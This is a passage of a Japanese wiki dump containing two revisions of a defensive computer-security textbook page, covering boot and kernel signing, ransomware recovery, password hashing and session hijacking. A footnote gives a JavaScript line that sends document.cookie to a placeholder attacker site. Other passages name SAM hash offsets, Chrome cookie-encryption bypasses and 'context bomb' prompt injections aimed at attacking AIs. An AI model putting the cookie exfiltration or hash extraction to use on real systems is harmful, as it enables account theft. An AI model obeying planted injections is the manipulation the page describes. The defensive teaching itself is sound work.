** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>my6sxiylo07jykdbxoj6w2mtct48dtq</sha1>
    </revision>
    <revision>
      <id>305246</id>
      <parentid>305244</parentid>
      <timestamp>2026-11-01T04:14:59Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305246</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="95506" sha1="14vkuxursjaoua06qpmtdfkn3wimtkj" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えば以下の方法があります:
* マルウェア（セッションスティーラー）でブラウザのセッションファイルを抜き取る
* 正規サイトに挿入される広告やライブラリなどの JavaScript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る{{efn|例えば JavaScript に &lt;code&gt;location.href &amp;#61; &quot;https://（攻撃者のサイト）/logging.cgi?log&amp;#61;&quot; + document.cookie;&lt;/code&gt;を挿入するなど。}}（Webサイト側は Cookie の HttpOnly 属性で対策可）
* 正規サイトに挿入される広告やライブラリなどの外部参照{{efn|ページ埋め込み (iframe)や画像埋め込み (img)など。}}から Cookie を抜き取る（Webサイト側は Cookie の SameSite 属性で対策可）

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化では鍵抽出 (Local Stateファイルのapp_bound_encrypted_keyからElevation Serviceでdecrypt)&lt;ref&gt;[https://www.fortinet.com/jp/blog/threat-research/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer SVGフィッシングでウクライナを攻撃：Amatera StealerとPureMiner利用] Fortinet 2025年10月17日&lt;/ref&gt;、パディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;、暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;などによって暗号化前のデータを抜き出すことが行われています。

またそもそもアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、まずはこれが無効になってないかを確認しておきましょう。

なお 2026年にはセッションハイジャックを難しくする Device Bound Session Credentials (DBSC) という技術も一般提供されるようになり、Google などの一部のサービスで使われるようになっています。この DBSC は TPM ([[:w:Trusted Platform Module|Trusted Platform Module]]) の鍵を使うものとなっています。しかしながらこの DBSC にも限界があるため注意が必要です&lt;ref&gt;[https://blog.knowbe4.com/device-bound-session-credentials-phishable-hackable I Love Device-Bound Session Credentials, But They Are Still Phishable and Hackable] KnowBe4 2026年6月11日&lt;/ref&gt;。

DBSC が現在のブラウザで有効になっているかは以下のサイトで確認することができます:
* https://dbsc.dev/

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
